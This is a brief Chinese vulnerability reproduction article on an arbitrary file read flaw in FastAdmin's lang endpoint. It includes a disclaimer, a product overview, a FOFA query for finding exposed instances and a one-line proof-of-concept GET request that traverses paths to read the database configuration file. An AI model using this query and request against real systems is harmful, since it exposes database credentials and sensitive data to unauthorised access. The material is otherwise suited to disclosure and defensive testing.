FastAdmin 任意文件读取漏洞复现

技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

2 产品概述

        FastAdmin 后台框架开源且可以免费商用，一键生成 CRUD， FastAdmin 是一款基于 ThinkPHP 和 Bootstrap 的极速后台开发框架，基于Auth验证的权限管理系统，一键生成 CRUD，自动生成控制器、模型、视图、JS、语言包、菜单、回收站等。（Fast Admin 极速 后台 框架）Fastadmin框架 lang接口处存在任意文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

 3 漏洞描述

        任意文件读取漏洞（Arbitrary File Read Vulnerability）是一种安全漏洞，它允许攻击者读取服务器上未经授权的文件内容。这种漏洞通常出现在应用程序的代码中，当应用程序没有正确地验证或限制用户输入，特别是文件路径时，就可能导致这种漏洞。

fofa 

app="FASTADMIN-框架"

poc

GET /index/ajax/lang?lang=../../application/database HTTP/1.1